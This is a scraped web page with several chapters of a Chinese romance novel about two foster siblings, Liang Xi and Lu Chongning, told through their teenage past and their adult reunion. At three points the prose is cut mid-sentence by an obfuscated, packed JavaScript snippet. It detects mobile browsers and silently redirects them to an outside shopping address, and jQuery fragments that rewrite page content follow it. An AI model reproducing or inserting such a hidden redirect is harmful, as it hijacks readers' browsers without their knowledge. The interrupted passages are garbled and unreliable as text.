想想过去,两人的恋爱不仅谈得短暂,还无比纯情,在一起大半年只偷偷牵过手而已,那时路崇宁的手细腻光滑,和现在完全两种触感,再有就是一些简单的肢体接触,刮鼻子,摸头发,揽肩膀,除此再无其他。
只不过几个温柔时刻就吊了梁喜五年,路崇宁离开之后她心里走不进任何男人,她暗骂自己没出息,当初主动提分手的勇劲随青春消逝,一去不复返。
......
夜里,楼下的“好如居”旅馆照常营业,牌匾散发幽深而暧昧的红光,吸引着过往旅人。
这家开了十几年,老板换了三茬却屹立不倒,梁喜从门前经过无数次,没想到竟有光临的一天。
前台姐姐看见一男一女进来,下意识问:“一间大床房啊?”
“两间。”路崇宁说话从兜里掏出几张皱巴巴的纸币和身份证。
姐姐低头看出生日期,“成年了啊!不用不好意思,想开一间直说,姐给你开。”
路崇宁语气如常,“两间,住一晚多少钱?”
“......两百。”
“我付。”梁喜滑开手机,她好久没用现金,都有点不认得。
路崇宁大手张开遮住收款码,把钱递过去,前台姐姐意味深长地瞥了梁喜一眼,低头办入住。
带线的键盘缝隙积着陈年灰垢,鼠标也干净不到哪去,两样东西相互配合,像要把脏乱差一齐敲进屏幕里。
相比这些,旅馆房间还算干净,但梁喜翻来覆去睡不着,脑子里闪过梁辰义的脸,她在心里默念道:“爸,路崇宁回来了,以前没告诉你,我很喜欢他,你一直希望我和他以兄妹身份相处,嗯,这次我听你的。”
深夜,走廊时而传来行李箱拖动的声音,还有开门关门的响动,梁喜迷迷糊糊睡着,梦里尽是从前事。
4. 第四章
路崇宁住进梁喜家那年冬天,她十四岁,他十五岁。
学期即将收尾,梁喜像往常一样搭公交车回家,刚进小区就撞见梁辰义,他左手拉行李箱,右边站着路崇宁。
几个月不见,路崇宁的个头儿窜得比梁辰义还高,模样倒是没变,眉宇间的倔劲儿和傲气不减,他怀里还抱了个黑色相机,梁喜在他家见过,死贵。
“喜喜,过来,叫哥。”
哥?不是一直直呼大名吗?
梁喜嘴巴抿得严实,摆明了不想叫。
梁辰义有点尴尬,“小宁从今天开始住咱家。”
“他家房子大得都能跑火车了!为啥住咱家?”
路崇宁家的别墅梁喜和信航去玩过好多次,前后都有院子,尤其后院外是一片国有林场,有次梁喜不小心跑到林子里走丢,还是路崇宁把她找回来的,当时梁喜脸都快哭花了,路崇宁把她带到自己房间,掏出一盒梁喜从没见过的巧克力才把她哄好。
“你哪那么多问题!回家去!”
梁辰义冲梁喜喊完,不忘拍拍路崇宁肩膀,给予安慰。
梁喜看了路崇宁一眼,转头往家走,马尾辫一晃一晃,倔劲儿也不遑多让,完全不给梁辰义面子,她想不明白路崇宁爸妈为什么把他交给一个酒鬼,而不是交给家族里其他亲戚。
梁喜的冷漠对等换来路崇宁的冷漠,于是两人谁也不理谁,同在一个屋檐下,却过着毫不相交的生活,上学各走各的,回家也不讲话,梁辰义看出两个孩子不对付,撮合几次没成功便放弃。
他私下跟梁喜说,路崇宁本来要去省城最好的私立高中,现在去不了了,梁辰义把他弄到附近的二中,也是梁喜初中院校的对口高中,教学实力虽然和一中没法比,但也不错。
路崇宁刚来家里时很多事都不适应,他甚至不会洗衣服,梁辰义教他用洗衣机,教他用燃气灶,甚至于如何坐公交车。
以上种种,梁喜仿佛看到一条界线横在她和路崇宁之间,无比清晰,难以跨越,本以为这道壁垒会一直持续下去,直到两人同校。
......
高一上学期期末考,大雪从早上开始下,公交车、私家车堵得鸣笛遍野,梁喜饿着肚子出门,又饿着肚子考完最后一科。
食堂饭卡没钱了,梁辰义喝醉了没给她,幸好晚上班里有聚会,怎么都能填饱肚子。
学期结束,班费还剩一些没花完,有同学提议拿这些班费出去玩,少数服从多数,一拍即合。
扎堆涌进ktv包厢,有的同学争抢着点歌,有的围在掌握“财政大权”的班长身边,想让他给自己点瓶可乐或者薯条,梁喜则坐在角落,打算有什么吃什么,吃饱就回家。
过了会儿,包厢门打开,一个服务生模样的人走进来,咬着哈密瓜的梁喜愣住了。
站在面前端着托盘的服务生不是别人,而是每天和她井水不犯河水的路崇宁,虽然没什么交集,但梁喜依然熟悉他,熟悉他的身形,他的眉眼。
梁喜低下头,假装没看见,可路崇宁帅得太突出,在学校八卦圈里很有名,马上有同学认出他,“你勤工俭学啊?怎么ktv还招未成年呢?”
路崇宁一声没吭,放下托盘里的啤酒、饮料和小食,转身离开包厢。
同桌拍拍梁喜,每次她说悄悄话之前都要拍梁喜一下,习惯性动作,根据力度大小,内容也不一样。
这次拍得有点重,梁喜正吃东西呢,呛得咳了两声。
“你知道路崇宁吗?”
梁喜含糊不清“嗯”了声。
“刚才进来那个服务生就是,好帅啊!”
“还行。”梁喜抓了把瓜子,闷头嗑。
同桌有点惋惜似的“啧啧”一声,“听说他家里出事,爸妈跑到外地去了,要不然他不会出来打工,咱们学校的计算机教室是他爸出事前捐的,学校为了表示感谢,免他三年学费。”
见梁喜愣神,没给回应,同桌又问:“你好像不感兴趣呢?”
“感兴趣。”
梁喜自己的生活过得相当一般,听到别人相似的苦难的确兴趣不大,但路崇宁不一样,因为这个人住在梁家,梁辰义整天叫他“儿子”,名义上也是梁喜她哥。
“路崇宁哪班的?”梁喜不是为了装,的确不知道。
“高二一班。”
“重点班?”
“可不,好学生呢。”
梁喜不知道路崇宁每晚学到几点,反正她睡的时候客厅灯还亮着。
“感兴趣可以,可别动心啊!还记得五班的彩彩吗?听说她和一个高三的男生谈恋爱,结果那男的刚上大学就跟她分了,在寝室又哭又嚎,谁劝都没用。”
“......”
动个屁?梁辰义最近琢磨要把路崇宁弄自家户口本上,梁喜要打他的主意就是乱/伦......
“喝可乐吗?”梁喜给同桌拿了一罐。
同桌摇摇头,“不爱喝,一股子怪味,也不知道那帮男生为啥那么上瘾。”
她俩这边聊着,侯海东起身走到门口,开门把头探出去,“诶!服务生。”
路崇宁听到喊声从走廊一端快步走过来。
侯海东指指屋里,“帮我们把酒启开。”
路崇宁从工服口袋掏出瓶起子,进屋问:“开几瓶?”
“全开!”
好不容易放松一次,班里同学都憋坏了,逮着机会绝不放过。
梁喜觉得侯海东是故意的,故意让路崇宁暴露在这些同学的目光下,以彰显他们之间命运反转后的落差。
被审视、被议论,堪比精神上的凌迟。
梁喜忽然想起来侯海东刚开始追她的时候同桌跟她提过,说侯海东之前喜欢一个女生,但是那个女生却喜欢路崇宁,所以侯海东心里多少有点不忿,刚才那一举动算报复吧......
青春期的情感总是不善于隐藏,就像此刻包厢里也有两对暧昧对象,举手投足都在博取对方注意,又在得到回应时暗暗窃喜。
“来,男生一人一瓶,女生一人一杯,谁都不许躲啊!满上!”
张罗的人也是侯海东,看样子他考得不错,心情大好。
路崇宁原本已经要开门出去了,没想到他又转身走回来,站在梁喜身边,对侯海东说:“她不能喝。”
众人视线集中在梁喜身上,又不约而同看向路崇宁,连正在唱歌的同学也放下了麦克,梁喜没想到和路崇宁的首次交集竟然是他为自己出头。
班长缓和场面,“没事儿,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207493|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
大家随意,喝不了就喝饮料。”
侯海东起的头,他不能让自己掉面,没好气地质问路崇宁,“她不喝你喝啊?”
“好,我来。”
路崇宁刚要去拿梁喜面前的酒杯,有人又说:“你是男的,得喝一瓶。”
小孩儿毛还没长齐,大人的烂嗑倒是一套一套学得挺快。
帮侯海东撑场的是班里一个贼操蛋的男生,叫刘小龙,倒不是因为他成绩不好,而是品行卑劣,满肚子坏水,他指着路崇宁,借此让全班人的目光都集中过去,“听说这家店还有那种服务呢,你是不是也做啊?价高吗?”
他身旁几个人哄笑,没等路崇宁说话,梁喜抓起一把瓜子扔到刘小龙身上,“你亲眼看见了?凭什么瞎造谣?!”
众目睽睽之下被一个女生扔瓜子,刘小龙脸上挂不住,他脚踩茶几跳起来,要冲梁喜动手,路崇宁拦住他,说:“酒我喝,你回去。”
刘小龙还想说什么,被班长一把扯下茶几,“算了算了,大家难得出来玩,都别动气。”
梁喜没想到侯海东趁这时把啤酒递给路崇宁,他转过去仰头,很快一饮而尽,喝完擦擦嘴角,放下瓶子,说:“想喝酒随时找我,但不许再找梁喜麻烦。”
路崇宁语气平静,却带着他这个年纪不该有的震慑力,说完离开包房。
梁喜明晃晃瞪了侯海东一眼,开门追出去。
走廊尽头,路崇宁正和另一个服务生说话,相比对面的人,他身上青涩的少年感格外扎眼,见梁喜过来,他把那人支走。
“没事吧?”梁喜问。
“你有事吗?”
梁喜有点意外路崇宁的镇静,“你出来打工我爸知道吗?”
此刻只有他们两个人,梁喜仔细看清了路崇宁的工作服,白衬衫外是黑马甲,西裤尺寸不对,裤脚有点短,布料更是一般,好像和稀了的面,软塌塌的。
高个子贴着墙边,路崇宁低下头,说:“你别告诉梁叔,我不常来,偶尔给朋友替个班。”
“什么朋友?”
路崇宁看着梁喜,明显感觉有人在打破界限。
她解释,“我爸怕你学坏。”
“我也不是什么好人。”
走廊灯光幽蓝,给对话蒙上一层暗语意味。
梁喜走右看看,“你们卖酒有提成吗?赚得多不多?”
“还行。”
她眼神放亮,“我能来吗?”
路崇宁很坚定地拒绝:“不能,你未成年。”
“你不也未成年?”
“不一样。”
十八岁是一道门槛,门里门外的世界截然不同,今天梁喜算切身体会到了。
“好吧,我不说,你记得给我买个冰淇淋当封口费。”
自从梁喜她妈离开后,冰箱里很少出现冰淇淋这种东西,梁辰义经常拿五毛钱一根的冰棒糊弄她,还美其名曰质朴也是一种味道。
路崇宁的视线落在梁喜左边胸口的校牌上,与他的工作牌对比强烈,“你几点结束?”
“不知道,可能九点,九点半?”
他点了下头,“我也差不多那时候交班,等你一起走。”
路崇宁没给梁喜拒绝的机会,转身往另一边去了。
5. 第五章
再回到包间,所有人都盯着梁喜看,话写在脸上,只有同桌敢问,她趁着一个同学唱歌,趴在梁喜耳边,问她:“你俩不是不认识吗?”
梁喜眼里彩光闪过,“认识。”
“那你刚才跟我装啥呀?”
“我和他不熟,还没你知道得多呢。”
同桌懵了,“不熟你帮他出头?不熟他帮你挡酒?胡扯,骗小孩子呐!”
梁喜指着自己的眼睛,“这么纯真,像撒谎吗?”
“你这张脸本来就长得唬人,谁知道真假。”
梁喜把爆米花塞给她,意在让她闭嘴。
同桌继续嘟囔:“路崇宁长得确实帅,不过你没发现他一脸傲气吗?反正我不敢和他说话。”
“有什么不敢的,他又不吃人。”
“你肯定没喜欢过谁。”
“啥意思?”
“等你以后有了就明白了。”
梁喜眼前止不住回想刚才在走廊和路崇宁说话时她局促的手指,还有揪皱的衣角。
她在紧张什么呢?
这份紧张难不成和同桌的“不敢”归为一类吗?
梁喜暂时想不通,也无人点拨她。
......
聚会持续到九点多散场,太晚的话家长那关过不去,所以班长让大家早点回,下学期再见。
梁喜趁乱偷偷跑掉,没被同桌抓到人影,估摸外面散得差不多了才磨磨蹭蹭从洗手间出来,看着好像真有事被拖住一样。
走出ktv,迎面白花花的雪片从天而降,地上布满同学们急匆回家的脚印,毫无秩序可言。
化城的雪总是频繁而急促,每一场雪后都会伴随降温,以此昭示冬天的特殊意义。
梁喜左右瞅瞅,没看到路崇宁,刚才在里面也没见着他人影,她有点纳闷,主动说一起走的人明明是他,难道开玩笑的?
忽然旁边胡同传来一阵辱骂声,梁喜心头一惊,她侧耳屏息,隐约听到了路崇宁的名字,当即心跳加速,神经紧张,小时候爸妈打架给梁喜留下了心理阴影,现在只要听到有人争吵或者发生肢体冲突,她就不自禁地出现上述反应。
今晚也不知哪来的勇气,梁喜从旁边捡了块砖头直奔过去,大喊一声“警察来了!”
辱骂声立即停止,有两个裹着臃肿棉服的男人从胡同里匆忙跑出来,甚至没顾上看是谁喊的,全心跑路。
等周遭一切安静下来,勇气反而耗尽,梁喜变得畏畏缩缩,她走进胡同,试探问道:“路崇宁,是你吗?”
墙根边倚靠着一个人,没动静。
晕了?梁喜快步走过去,确认是路崇宁后蹲下想扶他,又碍着两人关系生疏,手要伸没伸。
缓了缓,路崇宁撑着落雪的地面挣扎站起来,高个子晃了两下才站稳。
“要不要去医院?”
他捂住胳膊,吭了声,说:“你帮我到路边拦辆车。”
梁喜转身跑向路边,雪还在下,出租车少得可怜,好不容易拦到一辆,结果人家听到医院说不顺路,一溜烟开跑,梁喜急了,追在后面大喊:“你车上不是没人吗?”
声音被落雪吞噬,她脚底打滑,差点滑倒,打算继续找车的时候路崇宁从身后慢慢走过来,说:“你回家吧,我自己去。”
“不行,你要自己去医院,我爸能打断我的腿。”
路崇宁抬头,昏黄的路灯照在他脸上,额头的血鲜红刺眼,嘴角也有血迹,然而这还不是他伤得最重的地方。
梁喜抬手要擦,路崇宁扭头躲开,冷着一张脸不说话。
“对了。”梁喜想起兜里有创可贴,她找出来撕开,“先贴一下,到医院再处理。”
旁边的人不动,梁喜郑重地喊了一声“路崇宁”的名字,他终于和梁喜对视。
“你跟我爸怎么没这么倔呢.......”梁喜想把他额头的血擦擦,奈何有点看不清,“低点头。”
这次路崇宁听话照做。
血擦干,梁喜把唯一一块创可贴粘到他额头,路崇宁的睫毛随着眼睛眨动划过她的手,微刺的痒。
“医院在那边,两个红绿灯,你要能走的话咱俩走过去,等到医院我想办法联系我爸。”
“给。”路崇宁手往前递,梁喜定睛一看,竟然是冰淇淋,蛋筒的,上面的塑料盖被压扁了。
见梁喜不接,路崇宁忍痛把冰淇淋塞她手里,比雪花凉得直接。
梁喜心里不是滋味,有点后悔之前对他冷漠。
“对不起,弄脏了。”
梁喜不在乎脏不脏,撕开咬了一口,问:“谁打你?”
“借我爸钱的人。”
冰淇淋在口中融化,尝到甜味的一瞬,梁喜忽然觉得曾经那些至暗时刻一下变得光明起来,很神奇,像心软的神明偶然给予的恩赐。
“你是不是没还手?”
那两人看起来一点没伤着,虽然路崇宁还是高中生,可按照他的个头和体力,真要踹上一脚也够他俩喝一壶。
路崇宁拖着沉重的脚步带路,“没还,出出气吧,到底是我爸欠他们。”
大片雪花落在两人头上,梁喜边走边掸,路崇宁则全然不在意,等走到医院差点变成圣诞老人。
梁辰义终于赶在拍ct之前到了,今天太阳打东边出来他竟然没喝酒,对路崇宁一通嘘寒问暖,比亲爹还亲。
梁喜坐在走廊长椅上,抱着书包干等,鞋上的雪早就化了,变成一滴滴裹着灰尘的水珠粘在鞋面,脏兮兮的。
“轻微骨裂,需要静养......”
医生跟梁辰义仔细交代,开了一堆药后让他们回去。
医院门口,梁辰义拍拍路崇宁肩膀,说:“幸好伤的是左手,要不然非耽误学习不可。”
梁喜对着夜空冷哼一声,“你这爸怎么当的?连你儿子是左撇子都不知道吗?”
梁辰义张张嘴想反驳,但又不知道说什么,气得拿手指戳梁喜脑门,以前也有过,根本不用力,只轻轻一点,可路崇宁不知道,以为梁喜要挨打,张开手臂挡在她面前,把梁辰义倒吓一跳。
“傻孩子,喜喜是我亲闺女,我能打她吗?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207494|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
”
路崇宁迟疑着,手没放下。
梁辰义笑笑,“行啊,以后有你保护你妹,就算我死了也能闭上眼,走,回家吧。”
......
或许因为相救的情份,路崇宁同梁辰义一样开始叫梁喜小名,冰冻解除,梁喜也开始管他叫哥,路崇宁受伤后但凡梁辰义不在家都是梁喜照顾他,两人的关系比以前亲近许多。
等到再开学的时候梁喜和路崇宁一起上下学,到食堂吃饭也一样,路崇宁还让梁喜刷他饭卡,想吃什么随便刷。
“你家不是没钱了吗?”
“我自己的零花钱,以前攒的。”
果然瘦死的骆驼比马大,梁喜准备狠敲一笔,“给我整个鸡腿。”
路崇宁听完笑了,住到家里后梁喜第一次见他笑,像一汪泉水,让人觉得无限清明。
只是这份清明没持续几天,梁喜便在路崇宁书包里发现一把刀。
没错,一把短刀,和家里切水果那种差不多长,应该是新买的,上面一点划痕都没有,梁喜本来要从他包里拿笔,不经意翻到,当时吓了一跳。
她没有立马揭穿,而是等到第二天放学路上才说。
“哥,最近还有人欺负你吗?”
路崇宁一愣,“咱俩不天天在一起吗?”
梁喜往后瞄了眼他的书包,“要是有人欺负你,你跟我爸说,不要总想着自己解决,你还得高考呢。”
路崇宁不明所以,梁喜第一次和他说这样的话。
见路崇宁还是没反应,梁喜终于藏不住,说:“我看见刀了,在你书包里。”
路崇宁神情暗下,这才明白什么意思,“我拿来防身的。”
“可他们是大人,要是硬来肯定你吃亏。”
“没事。”
为了让梁喜安心,路崇宁笑着拍拍她的头,梁喜也跟着笑。
这份愉快相处的画面被某个好事的同学捕捉,本来没什么好议论的,只是一个传一个,故事越编越扯,最后竟然变成路崇宁和梁喜同居......
没过几天,宋老师晚自习找梁喜谈话,虽说点到为止,但梁喜还是听出来他什么意思。
“路崇宁是我哥,我爸正给他转户口呢,等办完了让我爸亲自跟你说吧。”
宋老师教学经验丰富,平时对付学生手到擒来,却从没遇到过这种情况,他有点尴尬,清清嗓子,“我就说嘛,你肯定不会早恋。”
其他确确实实在谈恋爱的同学不管,倒操心起我来了?
梁喜暗暗腹诽。
在这之后没多久梁辰义去学校开家长会,先去路崇宁他们班,开到一半跟老师说要提前走,因为下半场要给他闺女开,一下子流言自此终结。
没人开兄妹之间的玩笑,不被相信自然失去了传播乐趣,这件事很快被下一个流言淹没,只是梁喜和路崇宁独处时偶尔会想起来,每想一次,都有一些暗戳戳的情意在滋长,似夏季牧场的草原,无法抑制,无穷无尽。
而那把刀最终没有指向任何人,遍体鳞伤的只有他自己。
6. 第六章
小旅馆从来不存在真正的寂静长夜。
路崇宁六点半就醒了,他起床洗漱,穿衣回家,经过梁喜房间时特地停下看了一眼,把脚步放轻,上午有几件事要办,得抓紧时间。
借前台座机打了个电话,路崇宁回家拿上骨灰盒,小心包好放进袋子里,根据今早联系的地址打车过去。
这位去世的同事叫“肖国强”,五十岁,下班回家时突发疾病,抢救无效去世。
肖国强跟路崇宁同是一个老板介绍出去的,虽然之前不认识,但老家都在化城,肖国强对他很照顾,所以他主动提出要把肖国强的骨灰带回来。
半个小时后下车,路崇宁看见一个男人从塑料大棚里钻出来,冲路崇宁摆摆手。
男人正是肖国强的儿子,母亲多年前去世,父亲出国打工后他一个人经营着蔬菜大棚,专往菜市场供应,赚得时多时少,糊口没问题。
骨灰交付完,肖国强的儿子要留路崇宁吃饭,他说还有事,饭就不吃了。
在简短的聊天中,路崇宁听到一些肖国强的过去,一个因贫穷而被迫沦为普通人的大半生,虽然普通,却夹杂着让路崇宁意外的事。
......
旅馆走廊洪亮的说话声将梁喜吵醒,正好三叔来电话,聊了几句,但她没提路崇宁回来。
在床上又赖了会儿,九点钟,梁喜收到一条信息,“我出来办点事,中午一起吃饭。”
她猜到是谁了,却还故意问:“路崇宁?”
“是。”
号码应该是新办的,梁喜存上,然后回他:“你自己吃吧,我不饿。”
“忙完联系你。”
完全自说自话,不理会梁喜上句回了什么,无奈,她起床穿衣,下楼退房。
回家进屋梁喜一眼便看见地上摊开的行李箱,她不信昨晚会看错,小心把衣服一件件拨开,都是工服,往下翻到底,果然发现了那件T恤,原来被路崇宁藏到了箱底......
梁喜想把衣服抽出来看个究竟,忽然听到敲门声,慌忙恢复原样,起身过去开门。
一个男人探头,“姑娘,你定的床吧?”
“嗯。”
原来是送货师傅。
梁喜紧张的心回落,师傅把单子递给她,确认后往屋里搬,送货和安装是一个人,他问梁喜:“大床放哪屋?”
梁喜买的一大一小,本来只想买一个大的,可商场搞活动,送单人小床,买的时候她根本没想到路崇宁会突然回来,既然不要也不能优惠,没有拒绝的道理。
“放这屋吧。”
大床给路崇宁睡,毕竟他个子高,单人床实在不合适。
师傅很健谈,没话找话跟梁喜聊了半天,安装完,她把床单铺上,衣柜和书桌都不旧,所以没扔,该有的东西全部归位后显得屋里多了些生活气息。
收拾完她洗脸洗头,刚吹干路崇宁打来电话,说他在小区门口。
早上从旅馆出来,梁喜被太阳晒得睁不开眼,天气暖和,她换了件黑色镂空针织衫,深蓝色九分裤,一脸素颜,却很清爽。
走出小区,梁喜四下望望没看到路崇宁身影,忽然前面一辆靠边停着的私家车鸣笛两声,车窗摇下,副驾驶那侧伸出一只手,食指勾了勾。
嗯?信航的车。
梁喜走过去,勾手的人是路崇宁,再往里看,开车的正是信航。
“你俩怎么搞一起去了?!”
信航吊着眉梢对梁喜说:“什么叫搞啊?我跟小宁是亲兄弟。”
三人虽然打小就认识,但梁喜和信航一起玩的时候比较多,十四岁之前一般逢年过节聚会的时候梁喜能见路崇宁一面,那会儿他家的条件在化城首屈一指,除学习以外,他妈给他报了不少兴趣班,梁喜还曾偷偷翘课,被杨婉仪带着去省城看路崇宁参加钢琴比赛。
相比信航话密的程度,路崇宁实在少言寡语,穿着干净又贵得要死的衣服静静坐在那,显得与众不同,格格不入。
他不主动找梁喜玩,梁喜自然不会找他,信航嘻嘻哈哈,倒是能跟路崇宁多说几句。
梁喜打开后门坐进去,看见路崇宁身上穿的暗绿色外套有点眼熟,仔细辨认才想起来,这件衣服是路崇宁高考前一个月梁辰义拉着她一起去商场给路崇宁买的,当时梁喜假装不情不愿,实则走了好多家,终于选中一款好看的外套。
买完回去路上,梁喜跟她爸说:“你别告诉路崇宁衣服是我选的啊。”
梁辰义一直以为兄妹俩不太对付,呵呵笑了声,“行,爸不说,放心吧。”
嘴上答应好好的,可刚进屋就说漏嘴了,梁喜觉得她爸纯粹故意让她难堪。
这件衣服至少有六七年了,样式倒没过时,穿起来依然好看。
“小宁,我必须跟你告状,你走之后喜喜提也不提你,连送机都没去,就我对你念念不忘,天天想得茶饭不思。”
听到信航的话,路崇宁脸上闪过一丝阴郁,转瞬又对他笑笑,“想吃什么?我请你吃。”
“逗你玩呢,兄弟给你接风。”
梁喜不怪信航那么说,因为这几年她的确表现得对路崇宁很不在意,可当年送机她去了,独自坐火车到省城,蹲在机场门口,看着路崇宁被梁辰义和信航一家包围,依依不舍地送行,梁辰义还跟路崇宁解释说:“你妹舍不得你走,在家哭呢。”
后面半句属实,梁喜甚至看不清路崇宁最后消失的背影,机场这种充满离别情味的地方眼泪常见,悲伤更不足为奇,没人在乎梁喜哭成什么德行,她独自前来,又独自返程。
后来在回去路上,梁喜忽然意识到一件事,这些年她只有过两次自察的成长点,一次是父母离婚,一次是路崇宁离开她......
信航回头问梁喜:“自己在家没害怕吧?今天我不值班,过去陪你啊?”
梁喜冲某人的后脑勺抬抬下巴,“他回来了。”
信航拍了下路崇宁肩膀,“这次回来能待几天?”
“不走了。”
“啊?”信航露出信息严重滞后的惊讶,“不走了啊,那太好了!咱仨又能一块玩了。”
梁喜撇撇嘴,“别了,谁敢打扰你。”
信航冲路崇宁笑得不怀好意,小声说:“生我气呢,这段时间太忙,她回来我就见了两次。”
路崇宁看眼后视镜,躬着的身子坐直,“你去青云寺了吗?”
青云寺在离化城五公里的山上,是附近最大也最有名的寺庙,香火一直很旺。
“嗯?你咋知道?”
“身上有檀香味。”
梁喜听到“檀香味”,暗暗嗅了两下,没闻出来。
“咳,有个案子,到那边了解点情况。”信航不再扯闲篇,“去哪吃啊?”
路崇宁把选择权交给梁喜,她听见也没客气,“南四路那边有家冷面馆,还记得吗?”
信航启动车子,“记得,我上班后还总去吃呢,就是过去得经过一段菜市场,早晚特别堵,现在去应该没啥事儿。”
信航这两年在警队锻炼得车技高超,即便狭窄乱停的街道照样顺滑通过,没一会儿就到了。
“老板,来两大两小,不放蒜。”
“咱们三个人。”路崇宁皱着眉看信航。
“知道啊,我吃两碗。”
梁喜和路崇宁相视一眼,“......”
信航虽然没路崇宁那么高,但也不算矮,净身高一七九,穿鞋差不多八一左右,即便如此,他却整天为了那一厘米恨天恨地,倒是在公安院校上学那几年练了一身肌肉,饭量比平常小伙子大,体格也壮。
靠门口的座位,梁喜刚坐下,信航凑到她这边,铁制的圆凳一抽一拉,摩擦地面的声音让人耳朵刺痒。
“小宁,打算干点啥?用不用我帮你找个活先干着?”
信航边说边给三人分餐具和纸巾。
“不用,介绍我出国的老板在化城有公司,我去那上班。”
“不错啊!过来跟我住吧,我平时不怎么在家,房子空着也是空着。”
梁喜条件反射一样反驳他,“我哥凭什么跟你住?”
“你还以为小时候呢,都二十来岁了,不方便。”
信航一副教训人的语气,梁喜听到“不方便”三个字顿觉脸颊发烫,刚才脱口而出才意识到话不对,她闷着头,摆弄手里的一次性筷子,想起她给路崇宁立下的“不平等条约”
信航停下擦桌子的手,抬头,“诶?你单位在哪?”
路崇宁:“林业新区那边。”
“有点远呐,把我车给你啊,开车上班能快点。”
“不用,公司有通勤车,公交也能到。”
冷面很快做好端上来,和延吉有名的朝鲜冷面味道有些区别,梁喜更喜欢化城这种。
老板说:“孩子,辣椒油在桌边,想吃自己放啊。”
三人一起“嗯”了声,信航拿过
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14207495|151014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
装辣椒油的玻璃罐,挖了一勺然后递给梁喜。
“我不要。”
信航又递给路崇宁,他也说不要。
辣椒油被信航放回去,“忘了你俩都不太能吃辣,完蛋。”
路崇宁掰开筷子,搅动碗里的面条,问:“民叔和唐姨怎么样?身体好吗?”
“身体倍儿棒,吃嘛嘛香。”
唐姨是信航他妈,典型的付出型人格,家中长女,在那个年代不得不承担照顾弟妹的责任,渐渐养成爱张罗的性格,听说当年家里和邻居闹出点摩擦,她跟父母到派出所调解,因此结识同去派出所找梁辰义的信民,倒追一个月才追上,这件事后来总被梁辰义和路召庆调侃,说信民肯定先相中人家,欲擒故纵。
信航家里所有人都喜欢唐姨,因为她对每个人照顾得体,精力多得用不完,这些年信航爸妈一直在市中心菜市场的冷鲜柜台经营冻货,攒了不少家底。
“等我这两天忙完抽空去看看他俩。”
“快去吧,我妈可想你了,经常念叨你和喜喜。”
梁喜回来后也只在葬礼上见过唐姨一面,她很喜欢梁喜,以前大人们聚会,开玩笑说要定娃娃亲,唐姨坚定选梁喜,搞得跟真事儿一样。
这顿饭是简餐,吃得比较快,信航结完账跟路崇宁去门口抽烟,他对梁喜说:“你先到车里坐,我抽完送你俩去墓地。”
手中纸巾扔掉,梁喜看了路崇宁一眼,虽然他事先没提,但梁喜不意外,好几年没回来,肯定要去看看他爸。
这种情况梁喜不能说不去,只是......她前天刚去过,一个人。
......
城里温度还行,但郊区空旷,风大得像要把人吹跑,尤其墓园凉飕飕的。
门口停车场,信航下车对路崇宁说:“刚才队里打电话有急事,我就不跟你俩进去了。”
他又看向梁喜,“穿这么少,嘚瑟!”
说完把衣服脱下来给梁喜披上。
旁边,路崇宁扭过头去,背对他俩往山坡上看,五年时间,亲近与疏远在此刻一目了然......
梁喜想把衣服还回去,谁知信航飞快钻进车里,车窗落下,喊了句:“晚上再找你俩吃饭。”
说完扬扬手,把车开走,轮胎卷起的灰尘一瞬被风吹散。
路崇宁在前面带路,顺着墓园的水泥小道往里走,没多久便找到了。
墓碑四圈很干净,青草葱葱,无声寂静,梁喜停下脚,把墓碑上的字默念一遍,路召庆和梁辰义生前的样子也随之浮现眼前。
给梁辰义火化那天,站在殡仪馆院内,望着巨大燃烧的烟囱,梁喜对信航说:“你要好好的,咱们三家人,至少得有一家过得好吧,天长地久,安乐自由,别像我和路崇宁一样。”
梁喜真心祝愿他人,也同样认清自己。
“谁来过?”
路崇宁看着墓碑旁摆放的菊花,眉头一皱,花瓣有些打蔫了,应该是最近两天的。
梁喜假装没听见,进来前她一遍遍告诉自己,在墓园一定少说话,更不要像昨天一样对路崇宁那种态度,即便她有心结,也不能不挑场合。
路崇宁没再追问,蹲下把带来的酒拧开,洒在墓碑两边,想说点什么却没开口,等了半天,他仰头问梁喜:“阿姨知道梁叔去世了吗?”
“不知道。”
梁喜没说,她妈已经跟这个家彻底断了联系,即便费力找一圈人将话传过去也没什么意义。
一阵冷风吹来,她下意识裹紧信航衣服,风声忽大忽小,从墓碑间隙穿堂而过,似故人耳语。
“你之前给我爸寄的钱,给我卡号,我转你。”
梁辰义给路崇宁的那封信里写得清清楚楚,梁喜知道路崇宁是在还梁辰义收留他的恩情,但梁喜不能要。
拿酒瓶的手顿住,见路崇宁沉默不答,梁喜又说:“不要的话,以后别见了。”
她虽然喜欢过路崇宁,但从不是示弱那一方。
